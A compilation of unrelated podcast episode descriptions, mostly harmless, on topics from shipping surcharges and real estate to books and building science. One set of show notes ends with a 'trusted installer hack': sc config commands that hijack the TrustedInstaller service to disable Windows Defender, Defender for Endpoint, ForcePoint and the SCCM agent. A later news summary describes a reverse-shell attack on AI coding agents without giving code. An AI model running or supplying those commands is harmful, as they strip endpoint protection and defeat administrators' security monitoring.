YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

As a FedEx shipper, there is a 99% chance that you have seen a DAS or delivery area surcharge fee on your FedEx invoice. A delivery area surcharge applies to shipments intended for select U.S. ZIP codes. DAS also applies to FedEx Express and FedEx Ground shipments destined for areas in Alaska and Hawaii that are remotely populated and challenging to reach.  Read More Since 2006, Refund Retriever has audited FedEx and UPS packages for late deliveries and billing mistakes. Through a complete logistics analysis, we assist shippers in maximizing carrier discounts and achieving best-in-class pricing. Are you paying too much for your shipping?

As a FedEx shipper, there is a 99% chance that you have seen a DAS or delivery area surcharge fee on your FedEx invoice. A delivery area surcharge applies to shipments intended for select U.S. ZIP codes. DAS also applies to FedEx Express and FedEx Ground shipments destined for areas in Alaska and Hawaii that are remotely populated and challenging to reach.  Read More Since 2006, Refund Retriever has audited FedEx and UPS packages for late deliveries and billing mistakes. Through a complete logistics analysis, we assist shippers in maximizing carrier discounts and achieving best-in-class pricing. Are you paying too much for your shipping?

In this video, Akash Gupta, the co-founder of Zypp Electric, shares the real story and daily lives of delivery riders across India. Every single day, thousands of delivery partners from platforms like Zepto, Blinkit, Swiggy, and Zomato work hard to bring food and groceries right to our doorstep. But behind every quick delivery is a story of intense hard work, daily struggles, and a deep dedication to supporting their families.This podcast takes a deep dive into the reality of the gig economy, exploring how much delivery workers actually earn and the truth behind 10-minute quick commerce deliveries. Akash Gupta explains how electric scooters from Zypp Electric are making a big difference by helping riders save petrol money, lower their daily expenses, and significantly increase their monthly income. You will also hear inspiring real-life success stories of young gig workers who are changing their lives through hard work.Beyond the business numbers, this conversation highlights why delivery workers are micro-entrepreneurs who deserve dignity, respect, and better support from society. Watch the full video to understand how the gig economy is shaping the future of India and how small changes in our attitude can make a huge impact on the lives of these delivery heroes!

Is there really such a thing as East Boca and West Boca? According to Boca Raton real estate broker Matthew Maschler, not exactly.In this episode of the Real Estate Finder Podcast, Matthew tackles one of his biggest Boca Raton real estate pet peeves: the idea that East Boca and West Boca are two completely different places. He explores where these labels came from, how Boca Raton's growth shaped local perceptions, and why ZIP codes, city limits, country clubs, and even mailing addresses have created confusion over the years.Matthew also shares the fascinating history behind Boca West Country Club, explains why many communities with Boca Raton addresses aren't actually inside the city limits, and discusses how buyers often let perception influence major real estate decisions.Whether you're relocating, buying your first home, or simply curious about Boca Raton's neighborhoods, this episode offers valuable local insight into what really matters when choosing where to live.If you're buying or selling a home in Boca Raton—or you're a real estate agent looking to join a growing team—Matthew and Signature Real Estate Companies are ready to help.In this episode: Why "East Boca" and "West Boca" aren't official places  The history behind Boca West and Boca Raton's expansion  City limits vs. Boca Raton mailing addresses  Common misconceptions that influence homebuyers  What actually matters when choosing the right Boca Raton neighborhood Subscribe to the Real Estate Finder Podcast for expert insights on Boca Raton, South Florida real estate, and practical advice from local broker Matthew Maschler!Send us an email or ask to join us on The Real Estate Finder Podcast!www.RealEstateFinder.comShop podcast T-shirts: prowrestlingtees.com/matthewmaniaCheck out some of the best vendors and service providers in Florida: RealEstateFinder.com/PreferredVendorsSubscribe to our newsletter or see past issues at: RealEstateFinder.com/NewsletterBrought to you by: Matthew H. Maschler - Real Estate Broker - Signature Real Estate Finder, LLCwww.RealEstateFinder.comAsk about joining the Signature team! Learn more about the Signature Real Estate Companies and why you should join South Florida's real estate industry leaders, Ranked #1 in Boca Raton, #25 in Florida and #336 in the Nation.  Offices in Boca Raton, Delray Beach, Coral Springs / Parkland, Ft Lauderdale, Miami, Naples, Palm Beach, Orlando and throughout Florida.SignatureRecruiter.comAnd be sure to check out BocaRatonWrestling.comLearn how to support our efforts to provide housing in Haitifrank-mckinney.com/caring-house-projectHelp Israel Now! All support goes Straight to Israel's Soldierswww.yasharlachayal.org

Professor Matthew Boedy joins Frank Schaeffer to discuss The Seven Mountains Mandate: Exposing the Dangerous Plan to Christianize America and Destroy Democracy.Drawing on both scholarship and personal experience, Boedy traces the evolution of Christian nationalism from the Religious Right to today's political movement. Frank reflects on his own family's place in that history and considers how earlier evangelical ideas evolved into something very different.Together they discuss the Seven Mountains Mandate, Charlie Kirk, Turning Point USA, Project 2025, education, media, masculinity, and the relationship between religion, politics, and power._____LINKShttps://www.matthewboedy.com/homehttps://substack.com/@matthewboedyhttps://x.com/MatthewBoedyhttps://www.wjkbooks.com/productauthor/matthew-boedy/_____I have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

Falha crítica no 7-Zip permite invasão silenciosa de PCs. Microsoft emite alerta para 'vírus invisível' que rouba senhas no Chrome e Edge. Taxa das blusinhas: importações batem recorde após fim do imposto. Android Auto finalmente ganha velocímetro no Google Maps. Pé de Elefante: conheça o 'objeto' mais radioativo de Chernobyl. China faz primeiro implante cerebral para uso comercial do mundo. Nubank compra Porto Real para não perder o 'bank'. Kimi K3: startup chinesa anuncia 'maior modelo de IA de código aberto' do mundo. E eu sou Amanda Fleure, a companhia de vocês nessa noite no Hoje no TecMundo, seu programa diário de tecnologia que começa depois da vinheta envolvente que o editor vai colocar aí pra gente!

This show has been flagged as Explicit by the host. Show Notes Episode Overview Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing. Key Topics & Breakdown Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips. Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs. Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi . Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually. Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip. Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline. ️ Tools & Techniques Mentioned crontab + Python scripts for automated monitoring grep -v , cat , tail , and vi (line navigation with :1000 ) Obsidian for note-taking & AI assistant integration Firefox/Playwright for headless browser testing Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads 7-Zip for archive extraction Google Drive for searchable config backups Resources & Links Python API Script: Uniview IPC3628SR Recording Checker Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera) TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner Quick Takeaways Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches. Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home. Example trusted installer hack # Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ... sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSense" /v Start /t reg_dword /d 4 /f" sc start "TrustedInstaller" sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesFppsvc" /v Start /t reg_dword /d 4 /f" sc start "TrustedInstaller" sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesCcmExec" /v Start /t reg_dword /d 4 /f" sc start "TrustedInstaller" sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinDefend" /v Start /t reg_dword /d 4 /f" sc config TrustedInstaller binPath= "C:WindowsservicingTrustedInstaller.exe" Provide feedback on this episode.

Willie talks with the owner of Zip's Cafe, Mike Burke, about how Friday's flooding hurt his business, and how this is not the first time this has happened.See omnystudio.com/listener for privacy information.

Willie talks with Mike Burke, owner of Zip's Cafe, about the losses he incurred due to the flooding in Hyde Park on Friday. Also Chris Smitherman explains who is responsible for maintain infrastructure in Cincinnati between the city, state, and federal governments. Finally Jason Kidd goes over what goes into flood damage restoration.See omnystudio.com/listener for privacy information.

Was there ever an official Disneyland postmark? That's one of the questions I get asked most often, and in this episode I dive into the history behind Disneyland mail, unique ZIP code 92803, pictorial cancels, cachets, and whether mail was ever officially postmarked "Disneyland, CA." We begin with two 1985 postcards celebrating Disneyland's 30th Anniversary. The first features Snow White and the Seven Dwarfs welcoming guests to New Fantasyland and bears the special EXPO '85 Anaheim pictorial cancel honoring 30 years of Disneyland magic. The second, mailed on Disneyland's official 30th birthday—July 17, 1985—shows Mickey Mouse leading the Disneyland Band down Main Street, U.S.A. Together they set the stage for a deep dive into one of Disneyland's most enduring postal mysteries. Along the way I explain the differences between postmarks, cancels, and cachets, examine special Disneyland-related postal markings from my collection, discuss why ZIP Code 92803 is unique, and share what years of collecting and research have revealed about whether Disneyland ever maintained its own official postal cancellation. Also in this episode: Vintage Disneyland postcard messages and postal history Disneyland's 30th Anniversary celebrations The history of special Disneyland pictorial cancels Incoming mail featuring a Trader Sam's postcard illustrated by Dave Perillo A thank you to Kayla for another piece of Disney mail As always, thanks to Enfield Post, the official vintage postage sponsor of the podcast, and Art Throw Down for supporting this episode. If you enjoy Sent from Disneyland, please subscribe, leave a rating or review, and share the show with a fellow Disney or postal history fan! Below are some of the regulars on Art Throw Down, Follow all of them on Instagram anyway for great art and postcards in your Instagram feed: Hipstadufus, luluvision, jlynch9923, greenmosspaper, georgemailsart, state_of_the_funyun, RussRomano2021

Zip sits down with the guys to chop it up about Dame Dash, who went viral again this week for hating Jay-Z's Yankee Stadium shows. Pharrell sparks rumors that Hov will send more shots at everyone he addressed in his Roots’ Picnic freestyle, and Mal shares his predictions for the guests at the other upcoming shows Jay has around the world. Zip stakes his claim as being the best rapper in every prison that he was in, Yung Miami leaves BossMan Dlo’s Motion Party Tour, leaving the internet to speculate why, and J.Cole kicks off his The Fall Off Tour in Charlotte. R.Kelly asks Trump to pardon him, Boosie finds himself in big debt, a listener inquires about what to do if he’s no longer attracted to his wife. All lines provided by Hard Rock Bet Visit your nearest Boost Mobile store or https://www.boostmobile.com/promo/25-forever Go to https://baskandlatherco.com and use code RORYANDMAL for 20% offSee omnystudio.com/listener for privacy information.

Day 2 of our ZIP through the NBA post-free agency takes us to Sacramento, Phoenix and Portland! Dan loves some big men, but the guards and wings may have more busts than booms on these clubs. Buyer beware! The Old Man Squad has a PATREON now. It's $1 and doesn't get a single benefit. It is entirely to support the mission here but won't change anything we do. https://www.patreon.com/cw/oldmansquad Follow Dan Besbris on Twitter: https://x.com/danbesbris Find Dan on the brand new BlueSky social network: https://bit.ly/3Vo5M0N Check out Dan's Google Sheet with Ranks, Weekly Streaming Schedule Charts & Injury Replacement Adds FREE! https://bit.ly/3XrAdEW Listen and subscribe on iTunes: https://apple.co/3XiUzQK Listen and subscribe on Spotify: https://spoti.fi/3ACCHYe Float on over to the new Old Man Squad Sports Network YouTube page to watch videos from the network's top talent: https://bit.ly/46Z6fvb Join the Old Man Squad Discord to chat with Dan and all the other hosts: https://t.co/aY9cqDrgRY Follow Old Man Squad Fantasy on Instagram for all our short videos: https://bit.ly/3ZQbxrt Podcast logo by https://twitter.com/freekeepoints Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.

You've probably been told you should shoot RAW. And I'm sure you've also thought - WHY? I'm just delivering a JPEG file anyway. What's inside a RAW file that makes it worth the storage space?  This episode gets into the numbers, and once you see them, the case for RAW becomes impossible to argue with. Yes, I knew it was your understanding that there would be no math, but, unfortunately, there's actually a lot of math behind what you see in digital photos. Bit depth is exponential, not additive. A standard JPEG is 8-bit, giving you 256 brightness levels per colour channel and roughly 16.7 million possible colours total. A 14-bit RAW file gives you 16,384 levels per channel — over 4 trillion possible colours. That gap is invisible straight out of camera. It becomes very visible the moment you start editing. We cover the staircase effect — what happens to smooth gradients in low bit-depth files when you push exposure or shadows in post. Those gaps between brightness levels stretch apart and become visible as banding: ugly, digital-looking stripes in what should be a smooth sky or a softly lit wall. In a 14-bit file, the steps are fine enough that normal editing simply can't pull them apart. We also break down the difference between lossless and lossy RAW compression. Lossless compression reduces file size without discarding any data — think of it like a ZIP file for your image. Lossy compression makes a permanent, one-time decision to discard some sensor data at capture. For many shots you'll never notice. For scenes with subtle gradients or heavy shadow recovery, you might. Support The Nerdy Photographer Sign Up for The Power Up - https://nerdyphotographer.com/newsletter Get some artwork from the print shop - https://art.caseyfphoto.com Buy some Nerdy Photographer Merch - https://nerdyphoto.dashery.com Use our link to buy new gear from Adorama - https://nerdyphotographer.com/recommends/adorama Use our link to buy used gear from KEH - https://nerdyphotographer.com/recommends/keh Follow along with us on social media @thenerdyphoto About The Podcast The Nerdy Photographer Podcast is written and produced by Casey Fatchett. Casey is a professional photographer in the New York City / Northern New Jersey with more than 20 years of experience. He just wants to help people and make them laugh. You can view Casey's wedding work at https://fatchett.com or his non-wedding work at https://caseyfatchettphotography.com    If you have any questions or comments about this episode or any other episodes, OR if you would like to ask a photography related question or have ideas for a topic for a future episode, please reach out to us at https://nerdyphotographer.com/contact

Greg and Missy return to share what life has looked like after their marriage was restored. In this episode, they talk about rebuilding trust, adjusting to a new marriage, and learning to take the next step with the Lord and your spouse. Their story is a powerful reminder that restoration is not the finish line. God is still working.   What Are You Speaking? "Zip the Lips!"   Rooted in Love Greg & Missy's Testimony   Support the work of Rejoice Marriage Ministries   Created to Create by Greg Holman   Follow on Instagram - @rejoicemarriageministries   Follow on Facebook - @rejoicemarriageministries   Every day, you can receive encouragement straight to your inbox through our Fight for Your Marriage Devotional and find free resources and prayers to pray over your marriage. To take advantage of these resources and others, visit https://rejoiceministries.org   We appreciate your feedback. If this episode touches you, please leave us a five-star rating and review, helping us reach new listeners with hope for their marriage. You can also subscribe to our show on YouTube, Spotify or iTunes.

In the midst of texting and cell phones, online websites and GPS, it can be difficult to remember an era when almost all communication took place by landline or snail mail, as it's now called, and driving depended on the ability to read a printed map. But April Howells's debut novel vividly recaptures that world. The Unforgettable Mailman (Alcove Press, 2026) opens in Chicago in October 1966. The post office, overwhelmed with unsolicited mail in the days before the ZIP code, has shut down temporarily, and an elderly resident named Henry Walton decides that someone must deliver the mail. People depend on letters, after all, and without them, connections with their nearest and dearest will fade. Henry himself suffers from a bad leg leftover from World War I and an increasingly dicey memory. But despite these obstacles, he succeeds in breaking into the post office and leaving with approximately 300 letters, destined for places as far apart as Canada and the Dakotas. Throughout the story we see Henry's interactions with the recipients of the letters as well as the letters themselves, and through the exchanges Henry's own past becomes ever clearer. After a while, his journey intersects with that of Roger, a high-school student in search of the father who left home, and the two of them pursue the delivery of the letters as we learn more about what makes each of them tick. This haunting novel, which came out a couple of months ago, captivated me from the very beginning. Henry is beautifully portrayed and sympathetic, and so are all the people with whom he interacts along the road—including, of course, Roger. April is a storyteller who finds heartwarming inspiration in little-known pieces of history. With a background in magazine publishing, she's spent the last decade leading Global Internal Communications and Employee Engagement for premium apparel brand lululemon. The Unforgettable Mailman is her debut novel. C. P. Lesley is the author of two historical fiction series set during the childhood of Ivan the Terrible and four other novels, including one co-written with P.K. Adams. Her next book, Song of the Silk Weaver, will appear in September 2026. Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/new-books-network

In the midst of texting and cell phones, online websites and GPS, it can be difficult to remember an era when almost all communication took place by landline or snail mail, as it's now called, and driving depended on the ability to read a printed map. But April Howells's debut novel vividly recaptures that world. The Unforgettable Mailman (Alcove Press, 2026) opens in Chicago in October 1966. The post office, overwhelmed with unsolicited mail in the days before the ZIP code, has shut down temporarily, and an elderly resident named Henry Walton decides that someone must deliver the mail. People depend on letters, after all, and without them, connections with their nearest and dearest will fade. Henry himself suffers from a bad leg leftover from World War I and an increasingly dicey memory. But despite these obstacles, he succeeds in breaking into the post office and leaving with approximately 300 letters, destined for places as far apart as Canada and the Dakotas. Throughout the story we see Henry's interactions with the recipients of the letters as well as the letters themselves, and through the exchanges Henry's own past becomes ever clearer. After a while, his journey intersects with that of Roger, a high-school student in search of the father who left home, and the two of them pursue the delivery of the letters as we learn more about what makes each of them tick. This haunting novel, which came out a couple of months ago, captivated me from the very beginning. Henry is beautifully portrayed and sympathetic, and so are all the people with whom he interacts along the road—including, of course, Roger. April is a storyteller who finds heartwarming inspiration in little-known pieces of history. With a background in magazine publishing, she's spent the last decade leading Global Internal Communications and Employee Engagement for premium apparel brand lululemon. The Unforgettable Mailman is her debut novel. C. P. Lesley is the author of two historical fiction series set during the childhood of Ivan the Terrible and four other novels, including one co-written with P.K. Adams. Her next book, Song of the Silk Weaver, will appear in September 2026. Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/literature

In the midst of texting and cell phones, online websites and GPS, it can be difficult to remember an era when almost all communication took place by landline or snail mail, as it's now called, and driving depended on the ability to read a printed map. But April Howells's debut novel vividly recaptures that world. The Unforgettable Mailman (Alcove Press, 2026) opens in Chicago in October 1966. The post office, overwhelmed with unsolicited mail in the days before the ZIP code, has shut down temporarily, and an elderly resident named Henry Walton decides that someone must deliver the mail. People depend on letters, after all, and without them, connections with their nearest and dearest will fade. Henry himself suffers from a bad leg leftover from World War I and an increasingly dicey memory. But despite these obstacles, he succeeds in breaking into the post office and leaving with approximately 300 letters, destined for places as far apart as Canada and the Dakotas. Throughout the story we see Henry's interactions with the recipients of the letters as well as the letters themselves, and through the exchanges Henry's own past becomes ever clearer. After a while, his journey intersects with that of Roger, a high-school student in search of the father who left home, and the two of them pursue the delivery of the letters as we learn more about what makes each of them tick. This haunting novel, which came out a couple of months ago, captivated me from the very beginning. Henry is beautifully portrayed and sympathetic, and so are all the people with whom he interacts along the road—including, of course, Roger. April is a storyteller who finds heartwarming inspiration in little-known pieces of history. With a background in magazine publishing, she's spent the last decade leading Global Internal Communications and Employee Engagement for premium apparel brand lululemon. The Unforgettable Mailman is her debut novel. C. P. Lesley is the author of two historical fiction series set during the childhood of Ivan the Terrible and four other novels, including one co-written with P.K. Adams. Her next book, Song of the Silk Weaver, will appear in September 2026. Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/historical-fiction

Walk through your house with me for a minute. That baking sheet in your oven? It's not just for cookies, it's a radio antenna ground plane, a cooking surface over coals, and a drying rack for seeds. That petroleum jelly in the medicine cabinet? Fire starter, skin protection, rust prevention. That five‑gallon bucket in the garage? Sanitation system, water hauler, food storage, even rain catchment. Most people see clutter. Preppers see capability.In this episode we look at 17 overlooked everyday items with real survival uses. Aluminum foil becomes a heat reflector, emergency cooking surface, even a late‑night plumbing patch (ask us how we know). Baking soda handles grease fires and bug bites. Bandanas filter water and become slings. Coffee filters pre‑filter dirty water. Dental floss repairs gear, and yes, we talk realistically about wound closure options. Empty pill bottles protect matches and tinder. Old belts become straps and tourniquets. Zip ties secure almost anything. Plastic sheeting turns into shelter. Freezer bags protect documents, electronics, and supplies.Preparedness isn't always about buying more gear. Often, it's about recognizing the hidden utility in what you already own.Mentioned In This Episode:Support Practical Prepping72 Hour Prepping ChecklistClozex Emergency Laceration ClosuresDownload this episodeIf you find value in what we do, if you've learned something new, gotten an idea for something you need to do, been entertained, or just like Krista's Southern charm, would you be willing to give back a little?You can do that one of several ways.     Go to our support page               OR     By starting your Amazon shopping from our website? --->  CLICK HERE        (We earn from qualifying Amazon purchases)Contact us:Practical PreppingWebsiteOur Sponsors:Practical Prepping BooksProof Minimalist Wallets (Discount code PREPPER)ProLine Digital Group   Website  Email1791gunleather.com (Discount code: PREP15) SurfsharkPodcast music written and recorded by Krista LawleyWebsite design and hosting by ProLine Digital Group.Podcasts Copyright 2026, P3 Media Group, LLC, and Practical Prepping Podcast

Frank Schaeffer speaks with Maya Kornberg about her book Stuck: How Money, Media, and Violence Prevent Change in Congress.They discuss how Congress has been weakened by money, social media, political violence, understaffing, and decades of institutional neglect. This is a conversation about why Congress often fails, and why strengthening it may be one of the most urgent democratic tasks we face._____LINKShttps://www.mayakornberg.com/https://bookshop.org/a/99692/9781421454580_____I have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

This episode we deep dive into prepping for The National. Everything you need to know along with some tips, tricks, & good advice. We look at the final 8 teams in WC and make our predictions. Zip also shares some PC pickups. Thursday Night Live 7/9/2026 SCL HC S8E46

Across nearly half a million service requests, residents in lower-income ZIP codes wait roughly twice as long for routine 311 service. The pattern is too clear to be an accident. Find the full 311 Research Series here.

The comedian Fred Armisen has a thing for sound: he's a former punk-rocker who gets a lot of comic mileage from doing accents, and he released an album of sound effects—a modern update of a novelty genre from his youth. “100 Sound Effects” came out last year, on the venerable indie label Drag City. The track titles are themselves little punch lines: “Guitar Tuned but Still Somehow Out of Tune,” “Supportive Booing at a Speech,” and “Terrified Audience at an Authoritarian Nation Official Event.” Armisen talked with the staff writer Michael Schulman about sound effects and the origins of his love for accents, and they went out to do some sound recording of their own on the summer streets of New York.    This segment was produced with assistance from John DeLore.  This segment originally aired on August 29, 2025. Further reading:  “Fred Armisen Goes Bang! Zip! Zoop!,” by Michael Schulman “Shakespeare, Off the Cuff,” by Mike O'Brien and Fred Armisen   New episodes of The New Yorker Radio Hour drop every Tuesday and Friday. Join host David Remnick as he discusses the latest in politics, news, and current events in conversation with political leaders, newsmakers, innovators, New Yorker staff writers, authors, actors, and musicians. Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.

A filmmaker is joining the podcast today! That's Ava Maria Safai, the director behind the 2023 body horror short film “ZIP” and the 2025 horror movie Foreigner. Arthur was fortunate enough to discover her through “ZIP,” which you can find on YouTube thanks to ALTER's platform for terrifying and imaginative horror media. Appreciation for Final Destination, using “ZIP” to call for the liberation of Iranian women, Ava's music background, pinpointing the right horror-comedy balance, and the importance of being grateful and supportive to your film crew emerge as some of the topics for this conversation.Create your podcast today! #madeonzencastrHere's how you can learn more about Palestine and IsraelHere's how you can keep up-to-date on this genocideHere's how you can send eSIM cards to Palestinians in order to help them stay connected onlineAva's Good Word: Coraline, Requiem for a Dream, DAHLIA by Christian Laurian, The Hunger Games by Suzanne Collins, The Boroughs, Dallas Cowboys Cheerleaders: Making the Team, Dance Moms, Outlast, Little Fires Everywhere, Legally Blonde, Mean Girls, Carrie, Holy Spider, The Seed of the Sacred Fig, and Telefilm Talent to WatchReach out at email2centscritic@yahoo.com if you want to recommend things to watch and read, share anecdotes, or just say hello!Be sure to subscribe, rate, and review on iTunes or any of your preferred podcasting platforms!Follow Arthur on Twitter, Goodpods, StoryGraph, Letterboxd, and TikTok: @arthur_ant18Follow Arthur on Bluesky: @arthur-ant18Follow the podcast on Twitter: @two_centscriticFollow the podcast on Instagram: @twocentscriticpodFollow Arthur on GoodreadsCheck out 2 Cents Critic Linktree

As Penny's new book, Think Local, Sell Global, heads into pre-order, this replay felt especially timely.One of the biggest mistakes authors make is assuming that local book marketing is somehow “small.” In reality, the relationships you build in your own community can become the foundation for stronger visibility, more reader connection, better word-of-mouth, and opportunities that continue expanding well beyond your ZIP code.In this replay episode, Amy and Penny dig into one of the most underused local marketing opportunities available to authors: libraries. We talk about how to get your book in front of the right library contacts, what librarians may consider before adding a title to their shelves, and why simply walking in and asking them to stock your book is rarely the smartest approach.You'll hear practical ways to become part of your local library community first—from getting a card and attending events to supporting their programs, following them online, and identifying where your book, expertise, or perspective could genuinely add value. We also cover how to pitch library events, collaborate with other local authors, work with Friends of the Library groups, and avoid creating an event that requires more staff time than a library can realistically provide.Libraries are not just places where books live. They are community hubs filled with readers, families, educators, local organizations, and people actively looking for meaningful resources and experiences. That makes them an ideal place to begin building the kind of hometown visibility that can support your book far beyond launch week.This may be a replay, but the strategy is more relevant than ever—especially for authors who want to stop waiting for visibility to happen and start creating it closer to home.Send us your feedback!Preorder Think Local Sell Global and claim your free Local Buzz Blueprint, a customized local visibility plan with personalized outreach ideas, pitch angles, and ready-to-use marketing tools built around your book and community! Offer ends July 31.

Mal, Baby D, and Zip kick off the episode with the news of inmates taking over a North Carolina jail, which leads to Mal’s ideology about female corrections officers. Zip responds to comments calling for him to go back to jail, and shares more about his educational journey while being locked up. India Arie supports the boycotting of Yung Miami’s “Spend Dat”, calling it a bad representation of the culture, and the crew reacts. Jim Jones gets into an altercation with security at the BET Awards, Lisa Raye goes viral on TikTok, and the guys take a call from a listener with questions about the courting process. Have a happy and safe 4th of July Weekend, and we’ll see you next week! All lines provided by Hard Rock Bet Visit your nearest Boost Mobile store or https://www.boostmobile.com/promo/25-foreverSee omnystudio.com/listener for privacy information.

Three listener questions lead to three very different building science discussions—from cold-climate roof assemblies to aging-in-place design and innovative foundation systems.The episode begins with a Climate Zone 7 tongue-and-groove ceiling question, comparing ZIP sheathing and smart vapor retarders for airtightness and moisture control beneath a vented attic. From there, a question about zero-threshold exterior doors expands into a broader conversation about Universal Design and designing homes that remain accessible throughout every stage of life.The final discussion explores alternatives to traditional concrete foundations, including wood-based and prefabricated foundation systems. Steve and Jake weigh in on whether they would actually build with these systems, while Pete introduces an intriguing below-grade SIP foundation from Extreme Panel Technologies that was new to all three hosts.Three listener questions, dozens of practical takeaways, and another deep dive into the details that shape better buildings.Pete's Resources:Climate Zone 7 T&G CeilingSBA – ZIP CeilingSBA – Smart Vapor Retarder CeilingUniversal Design & Aging in PlaceBuild Show – Forever Home SeriesEuropean Exterior DoorsAutomatic Drop-Down Door SealsThe Universal Design ProjectMississippi State Barrier-Free Design GuidesAlternative FoundationsExtreme Panel Technologies FoundationsCCA Treated Plywood Specification

US Puts $10M Bounty on Russian Hackers, Supreme Court Limits Geofence Warrants, New phishing campaign targets hotels, AI Coding Agents Tricked into Malware and Canada's Electronic Spies Go After Ransomware Gangs.  The episode covers the US State Department's up to $10 million reward for information on Russia-linked hacker groups UNC 5792 and UNC 4221 tied to phishing campaigns that compromise Signal and WhatsApp accounts by stealing Signal backup recovery keys.  It also explains a US Supreme Court 6–3 ruling limiting geofence warrants by recognizing Fourth Amendment privacy protections for phone location data and requiring probable cause and narrower requests.  Mozilla ODIN researchers demonstrate a proof of concept where a clean GitHub repo can cause AI coding agents to run an init command that executes attacker-controlled code via DNS and opens a reverse shell. A hotel-focused phishing campaign using Calendly and Google redirects delivers ZIP files that install the Tonrat implant through PowerShell and a user-space Node.js runtime.  Finally, Canada's CSE says it disrupted infrastructure used by 10 major ransomware groups and reports incident volumes rising nearly 26% year over year. 00:24 Top Headlines Rundown 00:54 10 Million Bounty Russian Hackers 02:42 Supreme Court Limits Geofence Warrants 03:56 AI Coding Agent Repo Trap 05:31 Listener Thanks And Reviews 05:51 Hotel Front Desk Phishing Attack 08:01 Canada Disrupts Ransomware Gangs 09:45 Closing And Sign Off

